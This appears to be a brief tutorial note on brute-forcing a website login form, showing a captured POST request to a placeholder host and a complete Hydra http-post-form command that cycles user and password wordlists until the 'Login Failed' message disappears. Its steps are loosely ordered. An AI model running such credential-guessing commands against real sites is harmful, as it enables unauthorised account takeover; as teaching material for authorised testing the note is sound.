

Website login brute force with hydra and burp suite

To brute force a website you need to know the structure of said website. To find the structure of the website we will need capture a login request with burp suite. Our request will look similar to this:

```
POST /login.php  
host: target.hack
```

```
username=test&password=test
```

```
hydra -L users.txt -P passwords.txt  
target.hack http-post-form  
"/login.php:username=^USER^&password  
=^PASS^:Login Failed"
```

You may need to make changes
to this command depending on
the circumstances

now that we know that it requires the structure of
the website we need to move it over to a hydra
command.

Go onto the website and
keyspam in the login form
to get a error message.
Place the error text here
